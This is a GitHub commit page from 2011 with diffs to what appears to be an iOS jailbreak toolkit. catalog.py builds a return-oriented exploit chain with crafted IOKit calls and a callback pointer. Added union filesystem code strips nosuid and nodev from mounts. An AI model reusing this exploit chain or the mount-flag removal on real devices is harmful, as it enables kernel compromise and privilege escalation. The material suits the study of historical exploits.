Skip to content

Commit

Permalink
Running out of bugs to fix.
Browse files Browse the repository at this point in the history
  • Loading branch information
comex committed Jun 30, 2011
1 parent 68bb77f commit 9ddbb59
Show file tree
Hide file tree
Showing 13 changed files with 178 additions and 217 deletions.
15 changes: 7 additions & 8 deletions catalog/catalog.py
Original file line number Diff line number Diff line change
Expand Up @@ -169,13 +169,15 @@ def do_main_thing():
if mode == 'dejavu':
funcall('iokit._IOKitWaitQuiet', 0, 0)
funcall('iokit._IOServiceGetMatchingService', 0, matching)
funcall('iokit._IOServiceOpen', None, task_self, 0, connect); dbg_result()
else:
# http://www.opensource.apple.com/source/IOKitUser/IOKitUser-502/FireWireTest.cpp?txt
#itp = ptrI(0) # XXX this is just for testing
portp = ptrI(0)
funcall('_mach_task_self')
funcall('_mach_port_allocate', None, 1, portp); dbg_result()
iteratorp = ptrI(0)
servicep = ptrI(0)

port_, portp_ = stackunkpair()
port_2, portp_2 = stackunkpair()
Expand All @@ -185,21 +187,18 @@ def do_main_thing():

funcall('iokit._IOServiceAddNotification', 0, ptr('IOServiceMatched', True), matching, port_, 12345, iteratorp); dbg_result()
funcall('iokit._IOIteratorNext', iteratorp, load_r0=True)
#store_r0_to(itp)
store_r0_to(servicep)

zero, nonzero = cmp_r0_0_branch(alt=0 if four_dot_three else 1)
come_from(zero)
msg_size = 72
msg = ptr('\0'*msg_size)
funcall('_mach_msg', msg, 2, 0, msg_size, port_2, 0, 0); dbg_result()
#funcall('iokit._OSGetNotificationFromMessage', msg, 0, portp, portp, 0, 0); dbg_result()
funcall('iokit._IOIteratorNext', iteratorp, load_r0=True)
#store_r0_to(itp)
#dbg_result()
store_r0_to(servicep)
come_from(nonzero)
#dbg_result()
#load_r0_from(itp)

funcall('iokit._IOServiceOpen', None, task_self, 0, connect); dbg_result()
funcall('iokit._IOServiceOpen', servicep, task_self, 0, connect, load_r0=True); dbg_result()

# XXX In Safari, I need to kill this
funcall('iokit._IOConnectCallScalarMethod', connect, 21, fail_callback, 2, 0, 0, load_r0=True); dbg_result()
Expand Down Expand Up @@ -246,7 +245,7 @@ def do_main_thing():
zerop = ptrI(0)
AppleRGBOUT = ptr('AppleRGBOUT', True)
connect = ptrI(0)
fail_callback = ptrI(0xeeeeeeee, 0xeeeeeeee)
fail_callback = ptrI(dmini.cur.sym('_getpid'), 0xeeeeeeee)

transaction = troll_string('\x00' * (0xd8 if four_dot_three else 0x8c))
transaction[0:4] = transaction[4:8] = I(0xeeeeeeee)
Expand Down
8 changes: 7 additions & 1 deletion fs/fs.h
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
// whether to spam the syslog/dmesg with printfs
#define DEBUG_PRINTF 0

#define IS_64BIT_PROCESS(x) 0
#include <sys/buf_internal.h>
int x_namei(struct nameidata *ndp)
Expand Down Expand Up @@ -170,5 +173,8 @@ asm("$ldr_$_T_df_f8_fc_31_1b_68_6b_b1");
#endif

extern void IOLog(const char *fmt, ...) __attribute__((format (printf, 1, 2)));
//#define printf(args...) ((void) (args))
#if !DEBUG_PRINTF
#define printf(args...) ((void) (args))
#endif

#define CNTOND(x) ((struct nameidata *) ((char *) (x) - offsetof(struct nameidata, ni_cnd)))
47 changes: 26 additions & 21 deletions fs/union/union_subr.c
Original file line number Diff line number Diff line change
Expand Up @@ -1007,8 +1007,6 @@ union_mkshadow(um, dvp, cnp, vat, vpp)
struct vnode_attr *vat;
struct vnode **vpp;
{
return EPERM;
#if 0
int error;
struct vnode_attr va;
struct componentname cn;
Expand Down Expand Up @@ -1042,15 +1040,19 @@ union_mkshadow(um, dvp, cnp, vat, vpp)
VATTR_SET(&va, va_mode, vat->va_mode/*um->um_cmode*/);
VATTR_SET(&va, va_uid, vat->va_uid);
VATTR_SET(&va, va_gid, vat->va_gid);
VATTR_SET(&va, va_create_time, vat->va_create_time);
//VATTR_SET(&va, va_access_time, vat->va_access_time);
VATTR_SET(&va, va_modify_time, vat->va_modify_time);
VATTR_SET(&va, va_change_time, vat->va_change_time);
//VATTR_SET(&va, va_backup_time, vat->va_backup_time);

error = vn_create(dvp, vpp, &cn, &va, 0, 0, 0, cnp->cn_context);
error = vn_create(dvp, vpp, CNTOND(&cn), &va, 0, 0, 0, cnp->cn_context);
out:
if ((cn.cn_flags & HASBUF) == HASBUF) {
FREE_ZONE(cn.cn_pnbuf, cn.cn_pnlen, M_NAMEI);
cn.cn_flags &= ~HASBUF;
}
return (error);
#endif
}

/*
Expand Down Expand Up @@ -1121,7 +1123,7 @@ union_vn_create(struct vnode **vpp, struct union_node *un, mode_t cmode, vfs_con
int fmode = FFLAGS(O_WRONLY|O_CREAT|O_TRUNC|O_EXCL);
int error;
struct proc * p = vfs_context_proc(context);
struct nameidata nd;
struct componentname cn;

*vpp = NULLVP;

Expand All @@ -1144,25 +1146,28 @@ union_vn_create(struct vnode **vpp, struct union_node *un, mode_t cmode, vfs_con
* copied in the first place).
*/

bzero(&nd, sizeof(nd));
NDINIT(&nd, CREATE, HASBUF|SAVENAME|SAVESTART|ISLASTCN|(UNNODE_FAULTIN(un)?UNIONCREATED:0), UIO_SYSSPACE, 0, context);
nd.ni_cnd.cn_namelen = strlen(un->un_path);
nd.ni_cnd.cn_pnbuf = (caddr_t) _MALLOC_ZONE(nd.ni_cnd.cn_namelen+1,
M_NAMEI, M_WAITOK);
nd.ni_cnd.cn_pnlen = nd.ni_cnd.cn_namelen+1;
bcopy(un->un_path, nd.ni_cnd.cn_pnbuf, nd.ni_cnd.cn_namelen+1);
nd.ni_cnd.cn_nameptr = nd.ni_cnd.cn_pnbuf;
nd.ni_dirp = CAST_USER_ADDR_T(nd.ni_cnd.cn_pnbuf);
nd.ni_cnd.cn_hash = un->un_hash;
nd.ni_cnd.cn_consume = 0;
cn.cn_namelen = strlen(un->un_path);
cn.cn_pnbuf = (caddr_t) _MALLOC_ZONE(cn.cn_namelen+1,
M_NAMEI, M_WAITOK);
cn.cn_pnlen = cn.cn_namelen+1;
bcopy(un->un_path, cn.cn_pnbuf, cn.cn_namelen+1);
cn.cn_nameiop = CREATE;
if (UNNODE_FAULTIN(un))
cn.cn_flags = (HASBUF|SAVENAME|SAVESTART|ISLASTCN|UNIONCREATED);
else
cn.cn_flags = (HASBUF|SAVENAME|SAVESTART|ISLASTCN);
cn.cn_context = context;
cn.cn_nameptr = cn.cn_pnbuf;
cn.cn_hash = un->un_hash;
cn.cn_consume = 0;

/*
* Pass dvp unlocked and referenced on call to relookup().
*
* If an error occurs, dvp will be returned unlocked and dereferenced.
*/
vnode_get(un->un_dirvp);
if ((error = relookup(un->un_dirvp, &vp, &nd.ni_cnd)) != 0) {
if ((error = relookup(un->un_dirvp, &vp, &cn)) != 0) {
vnode_put(un->un_dirvp);
goto out;
}
Expand Down Expand Up @@ -1195,7 +1200,7 @@ union_vn_create(struct vnode **vpp, struct union_node *un, mode_t cmode, vfs_con
VATTR_SET(vap, va_type, VREG);
VATTR_SET(vap, va_mode, cmode);

if ((error = vn_create(un->un_dirvp, &vp, &nd, vap, 0, 0, 0, context)) != 0) {
if ((error = vn_create(un->un_dirvp, &vp, CNTOND(&cn), vap, 0, 0, 0, context)) != 0) {
goto out;
}

Expand All @@ -1212,9 +1217,9 @@ union_vn_create(struct vnode **vpp, struct union_node *un, mode_t cmode, vfs_con
error = 0;

out:
if ((nd.ni_cnd.cn_flags & HASBUF) == HASBUF) {
FREE_ZONE(nd.ni_cnd.cn_pnbuf, nd.ni_cnd.cn_pnlen, M_NAMEI);
nd.ni_cnd.cn_flags &= ~HASBUF;
if ((cn.cn_flags & HASBUF) == HASBUF) {
FREE_ZONE(cn.cn_pnbuf, cn.cn_pnlen, M_NAMEI);
cn.cn_flags &= ~HASBUF;
}
return(error);
}
Expand Down
6 changes: 5 additions & 1 deletion fs/union/union_vfsops.c
Original file line number Diff line number Diff line change
Expand Up @@ -281,6 +281,10 @@ union_mount(mount_t mp, __unused vnode_t devvp, user_addr_t data, vfs_context_t
(void) copyinstr(args.target, vcp, len - 1, (size_t *)&size);
bzero(vcp + size, len - size);

// Whoops!
lowerrootvp->v_mount->mnt_flag &= ~(MNT_NOSUID | MNT_NODEV);
upperrootvp->v_mount->mnt_flag &= ~(MNT_NOSUID | MNT_NODEV);

#ifdef UNION_DIAGNOSTIC
printf("union_mount: from %s, on %s\n",
mp->mnt_vfsstat.f_mntfromname, mp->mnt_vfsstat.f_mntonname);
Expand Down Expand Up @@ -570,7 +574,7 @@ struct vfs_fsentry fe = {
descs,
15,
"unionfs",
VFC_VFSGENERICARGS | VFC_VFSTHREADSAFE,
VFS_TBLTHREADSAFE,
{NULL, NULL}
};

Expand Down
Loading

0 comments on commit 9ddbb59

Please sign in to comment.